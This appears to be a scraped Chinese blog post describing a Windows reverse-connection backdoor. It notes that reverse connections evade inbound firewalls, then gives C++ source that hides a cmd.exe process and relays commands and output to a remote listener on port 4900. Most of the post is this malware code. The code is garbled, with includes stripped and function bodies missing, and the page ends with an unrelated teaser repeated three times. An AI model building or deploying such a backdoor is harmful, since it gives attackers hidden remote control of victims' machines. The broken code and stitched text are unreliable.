安全之路 單管道反向連線後門解析

2022-09-02 17:54:07 字數 2101 閱讀 5323

單管道後門相對於雙管道後門(參照前面發的blog),很明顯單管道後門使用了「cmd.exe /c [命令]」的用法在進行cmd程序建立時就順帶執行了命令,所以省去了由socket發往cmd的管道。同時筆者為樣例程式加上了反向連線的模組,反向連線由宿主機作為client端,操縱者的nc或telnet等作為server端,與前面發的正向連線原理相反,反向連線由宿主機發出連線,可以有效繞過宿主機針對外來連線的防火牆。

/*

*@author: peterz1997

*@time: 2018/03/03

*@function: 單管道反向連線後門(default_port: 4900)

*/#include #include #include #include #include #include using namespace std;

#pragma comment(lib,"ws2_32")

handle g_hinputpipe, g_houtputpipe;

handle g_hthread;

dword g_dwthreadid;

const unsigned short port = 4900;

const char * remote_addr = "127.0.0.1";

const unsigned int maxstr = 255;

//收發資訊

bool senddata(socket ssock, char *cmdline, const char* sockdata)

sleep(200);

startupinfo si;

process_information pi;

getstartupinfo(&si);

si.hstderror = g_hinputpipe;

si.hstdoutput = g_hinputpipe;

si.wshowwindow = sw_hide;

si.dwflags = startf_useshowwindow | startf_usestdhandles;

getsystemdirectory(cmdline, maxstr);

strcat_s(cmdline, maxstr, "\\cmd.exe /c ");

strcat_s(cmdline, maxstr, sockdata);

while (!createprocess(null, cmdline, null, null, true, null, null, null, &si, &pi))

waitforsingleobject(pi.hprocess, 10000);

return true;

}//被控端管道資訊回傳監控

dword winapi watchdata(lpvoid lprarm)

} }return 0;

}//主函式

int winapi winmain(_in_ hinstance hinstance, _in_opt_ hinstance hprevinstance, _in_ lpstr lpcmdline, _in_ int nshowcmd)

send(ssock, welrow, strlen(welrow), 0);

g_hthread = createthread(null, 0, watchdata, lpvoid(ssock), 0, &g_dwthreadid);

while (true)

if (!senddata(ssock, cmdline, sockdata))

zeromemory(sockdata, maxstr);

} waitforsingleobject(g_hthread, infinite);

closehandle(g_hinputpipe);

closehandle(g_houtputpipe);

closesocket(ssock);

wsacleanup();

exitprocess(0);

return 0;

}

web安全之路

我按照我曾經的路程為大家梳理一下怎麼學習安全有關的知識,怎麼樣入門,需要哪些知識,文章我會選擇乙個月一更,時間和精力有限,故時間較長,我知道最好的學習方法就是和大家分享,這樣才能的到最好的反饋,安全這條道路是枯燥和孤獨的,但我還是希望能夠有更多的人投入到安全的行業,後續我會拿很多實戰來為大家講解相關...

web安全之路

我按照我曾經的路程為大家梳理一下怎麼學習安全有關的知識,怎麼樣入門,需要哪些知識,文章我會選擇乙個月一更,時間和精力有限,故時間較長,我知道最好的學習方法就是和大家分享,這樣才能的到最好的反饋,安全這條道路是枯燥和孤獨的,但我還是希望能夠有更多的人投入到安全的行業,後續我會拿很多實戰來為大家講解相關...

web安全之路

我按照我曾經的路程為大家梳理一下怎麼學習安全有關的知識,怎麼樣入門,需要哪些知識,文章我會選擇乙個月一更,時間和精力有限,故時間較長,我知道最好的學習方法就是和大家分享,這樣才能的到最好的反饋,安全這條道路是枯燥和孤獨的,但我還是希望能夠有更多的人投入到安全的行業,後續我會拿很多實戰來為大家講解相關...